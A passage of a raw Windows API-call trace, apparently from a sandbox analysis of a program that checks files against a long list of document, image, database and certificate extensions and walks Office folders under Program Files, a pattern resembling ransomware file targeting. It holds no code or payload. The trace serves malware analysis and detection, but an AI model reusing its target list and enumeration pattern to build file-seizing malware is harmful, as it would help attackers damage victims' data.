lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".dat") returned 4 [0041.719] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".db") returned 3 [0041.719] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0041.719] lstrlenW (lpString=".dbf") returned 4 [0041.719] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".dbx") returned 4 [0041.719] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".dc3") returned 4 [0041.719] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".dcm") returned 4 [0041.719] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0041.720] lstrlenW (lpString=".dcr") returned 4 [0041.720] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0041.720] lstrlenW (lpString=".der") returned 4 [0041.720] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0041.720] lstrlenW (lpString=".dib") returned 4 [0041.720] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0041.720] lstrlenW (lpString=".dic") returned 4 [0041.720] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0041.720] lstrlenW (lpString=".dif") returned 4 [0041.720] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0041.720] lstrlenW (lpString=".divx") returned 5 [0041.720] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0041.720] lstrlenW (lpString=".djvu") returned 5 [0041.720] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0041.720] lstrlenW (lpString=".dng") returned 4 [0041.720] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0041.720] lstrlenW (lpString=".doc") returned 4 [0041.720] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.720] lstrlenW (lpString=".docm") returned 5 [0041.720] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0041.720] lstrlenW (lpString=".docx") returned 5 [0041.720] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.720] lstrlenW (lpString=".dot") returned 4 [0041.720] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".dotm") returned 5 [0041.721] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0041.721] lstrlenW (lpString=".dotx") returned 5 [0041.721] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0041.721] lstrlenW (lpString=".dpx") returned 4 [0041.721] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".dqy") returned 4 [0041.721] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".dsn") returned 4 [0041.721] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".dt") returned 3 [0041.721] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0041.721] lstrlenW (lpString=".dtd") returned 4 [0041.721] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".dwg") returned 4 [0041.721] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".dwt") returned 4 [0041.721] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".dx") returned 3 [0041.721] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0041.721] lstrlenW (lpString=".dxf") returned 4 [0041.721] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".edml") returned 5 [0041.721] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0041.721] lstrlenW (lpString=".efd") returned 4 [0041.721] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".elf") returned 4 [0041.721] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".emf") returned 4 [0041.721] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".emz") returned 4 [0041.721] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0041.721] lstrlenW (lpString=".epf") returned 4 [0041.722] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0041.722] lstrlenW (lpString=".eps") returned 4 [0041.722] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0041.722] lstrlenW (lpString=".epsf") returned 5 [0041.722] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0041.722] lstrlenW (lpString=".epsp") returned 5 [0041.722] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0041.722] lstrlenW (lpString=".erf") returned 4 [0041.722] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0041.722] lstrlenW (lpString=".exr") returned 4 [0041.722] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0041.722] lstrlenW (lpString=".f4v") returned 4 [0041.722] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0041.722] lstrlenW (lpString=".fido") returned 5 [0041.722] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0041.722] lstrlenW (lpString=".flm") returned 4 [0041.722] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0041.722] lstrlenW (lpString=".flv") returned 4 [0041.722] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0041.722] lstrlenW (lpString=".frm") returned 4 [0041.722] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0041.722] lstrlenW (lpString=".fxg") returned 4 [0041.722] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".geo") returned 4 [0041.723] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".gif") returned 4 [0041.723] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".grs") returned 4 [0041.723] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".gz") returned 3 [0041.723] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0041.723] lstrlenW (lpString=".h") returned 2 [0041.723] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0041.723] lstrlenW (lpString=".hdr") returned 4 [0041.723] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".hpp") returned 4 [0041.723] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".hta") returned 4 [0041.723] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".htc") returned 4 [0041.723] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".htm") returned 4 [0041.723] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".html") returned 5 [0041.723] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0041.723] lstrlenW (lpString=".icb") returned 4 [0041.723] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".ics") returned 4 [0041.723] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".iff") returned 4 [0041.723] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".inc") returned 4 [0041.723] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0041.723] lstrlenW (lpString=".indd") returned 5 [0041.723] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0041.723] lstrlenW (lpString=".ini") returned 4 [0041.723] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".iqy") returned 4 [0041.724] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".j2c") returned 4 [0041.724] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".j2k") returned 4 [0041.724] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".java") returned 5 [0041.724] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0041.724] lstrlenW (lpString=".jp2") returned 4 [0041.724] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".jpc") returned 4 [0041.724] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".jpe") returned 4 [0041.724] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".jpeg") returned 5 [0041.724] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0041.724] lstrlenW (lpString=".jpf") returned 4 [0041.724] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".jpg") returned 4 [0041.724] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".jpx") returned 4 [0041.724] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".js") returned 3 [0041.724] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0041.724] lstrlenW (lpString=".jsf") returned 4 [0041.724] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".json") returned 5 [0041.724] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0041.724] lstrlenW (lpString=".jsp") returned 4 [0041.724] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".kdc") returned 4 [0041.724] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0041.724] lstrlenW (lpString=".kmz") returned 4 [0041.725] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".kwm") returned 4 [0041.725] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".lasso") returned 6 [0041.725] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0041.725] lstrlenW (lpString=".lbi") returned 4 [0041.725] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".lgf") returned 4 [0041.725] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".lgp") returned 4 [0041.725] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".log") returned 4 [0041.725] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".m1v") returned 4 [0041.725] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".m4a") returned 4 [0041.725] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".m4v") returned 4 [0041.725] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".max") returned 4 [0041.725] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".md") returned 3 [0041.725] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0041.725] lstrlenW (lpString=".mda") returned 4 [0041.725] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".mdb") returned 4 [0041.725] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".mde") returned 4 [0041.725] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".mdf") returned 4 [0041.725] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".mdw") returned 4 [0041.725] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0041.725] lstrlenW (lpString=".mef") returned 4 [0041.726] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mft") returned 4 [0041.726] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mfw") returned 4 [0041.726] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mht") returned 4 [0041.726] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mhtml") returned 6 [0041.726] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0041.726] lstrlenW (lpString=".mka") returned 4 [0041.726] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mkidx") returned 6 [0041.726] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0041.726] lstrlenW (lpString=".mkv") returned 4 [0041.726] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mos") returned 4 [0041.726] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mov") returned 4 [0041.726] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mp3") returned 4 [0041.726] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mp4") returned 4 [0041.726] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mpeg") returned 5 [0041.726] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0041.726] lstrlenW (lpString=".mpg") returned 4 [0041.726] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mpv") returned 4 [0041.726] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mrw") returned 4 [0041.726] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".msg") returned 4 [0041.726] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0041.726] lstrlenW (lpString=".mxl") returned 4 [0041.727] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".myd") returned 4 [0041.727] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".myi") returned 4 [0041.727] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".nef") returned 4 [0041.727] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".nrw") returned 4 [0041.727] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".obj") returned 4 [0041.727] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".odb") returned 4 [0041.727] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".odc") returned 4 [0041.727] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".odm") returned 4 [0041.727] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".odp") returned 4 [0041.727] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".ods") returned 4 [0041.727] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".oft") returned 4 [0041.727] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".one") returned 4 [0041.727] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".onepkg") returned 7 [0041.727] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0041.727] lstrlenW (lpString=".onetoc2") returned 8 [0041.727] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0041.727] lstrlenW (lpString=".opt") returned 4 [0041.727] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".oqy") returned 4 [0041.727] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0041.727] lstrlenW (lpString=".orf") returned 4 [0041.728] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".p12") returned 4 [0041.728] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".p7b") returned 4 [0041.728] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".p7c") returned 4 [0041.728] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pam") returned 4 [0041.728] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pbm") returned 4 [0041.728] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pct") returned 4 [0041.728] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pcx") returned 4 [0041.728] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pdd") returned 4 [0041.728] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pdf") returned 4 [0041.728] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pdp") returned 4 [0041.728] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pef") returned 4 [0041.728] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pem") returned 4 [0041.728] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pff") returned 4 [0041.728] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pfm") returned 4 [0041.728] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pfx") returned 4 [0041.728] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".pgm") returned 4 [0041.728] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0041.728] lstrlenW (lpString=".php") returned 4 [0041.729] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0041.729] lstrlenW (lpString=".php3") returned 5 [0041.729] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0041.729] lstrlenW (lpString=".php4") returned 5 [0041.729] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0041.729] lstrlenW (lpString=".php5") returned 5 [0041.729] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0041.729] lstrlenW (lpString=".phtml") returned 6 [0041.729] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0041.729] lstrlenW (lpString=".pict") returned 5 [0041.729] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0041.729] lstrlenW (lpString=".pl") returned 3 [0041.729] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0041.729] lstrlenW (lpString=".pls") returned 4 [0041.729] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0041.729] lstrlenW (lpString=".pm") returned 3 [0041.729] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0041.729] lstrlenW (lpString=".png") returned 4 [0041.729] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0041.729] lstrlenW (lpString=".pnm") returned 4 [0041.729] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0041.729] lstrlenW (lpString=".pot") returned 4 [0041.729] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0041.729] lstrlenW (lpString=".potm") returned 5 [0041.729] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0041.729] lstrlenW (lpString=".potx") returned 5 [0041.729] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0041.729] lstrlenW (lpString=".ppa") returned 4 [0041.729] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0041.729] lstrlenW (lpString=".ppam") returned 5 [0041.729] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0041.729] lstrlenW (lpString=".ppm") returned 4 [0041.729] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".pps") returned 4 [0041.730] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".ppsm") returned 5 [0041.730] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0041.730] lstrlenW (lpString=".ppt") returned 4 [0041.730] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".pptm") returned 5 [0041.730] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0041.730] lstrlenW (lpString=".pptx") returned 5 [0041.730] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0041.730] lstrlenW (lpString=".prn") returned 4 [0041.730] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".ps") returned 3 [0041.730] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0041.730] lstrlenW (lpString=".psb") returned 4 [0041.730] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".psd") returned 4 [0041.730] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".pst") returned 4 [0041.730] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".ptx") returned 4 [0041.730] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".pub") returned 4 [0041.730] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".pwm") returned 4 [0041.730] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".pxr") returned 4 [0041.730] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0041.730] lstrlenW (lpString=".py") returned 3 [0041.730] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0041.730] lstrlenW (lpString=".qt") returned 3 [0041.730] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0041.730] lstrlenW (lpString=".r3d") returned 4 [0041.730] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0041.731] lstrlenW (lpString=".raf") returned 4 [0041.731] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0041.731] lstrlenW (lpString=".rar") returned 4 [0041.731] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.731] lstrlenW (lpString=".raw") returned 4 [0041.731] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0041.897] FindNextFileW (in: hFindFile=0x3ef2088, lpFindFileData=0x33ff58c | out: lpFindFileData=0x33ff58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.897] FindNextFileW (in: hFindFile=0x3ef2088, lpFindFileData=0x33ff58c | out: lpFindFileData=0x33ff58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0042.159] FindNextFileW (in: hFindFile=0x3ef2148, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.159] FindNextFileW (in: hFindFile=0x3ef2148, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0042.834] FindClose (in: hFindFile=0x3ef22c8 | out: hFindFile=0x3ef22c8) returned 1 [0042.834] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef3760 | out: hHeap=0x510000) returned 1 [0042.834] FindNextFileW (in: hFindFile=0x3ef2248, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0042.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef22c8 [0042.841] FindNextFileW (in: hFindFile=0x3ef22c8, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.841] FindNextFileW (in: hFindFile=0x3ef22c8, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0042.842] FindClose (in: hFindFile=0x3ef22c8 | out: hFindFile=0x3ef22c8) returned 1 [0042.842] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef34c0 | out: hHeap=0x510000) returned 1 [0042.842] FindNextFileW (in: hFindFile=0x3ef2248, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, 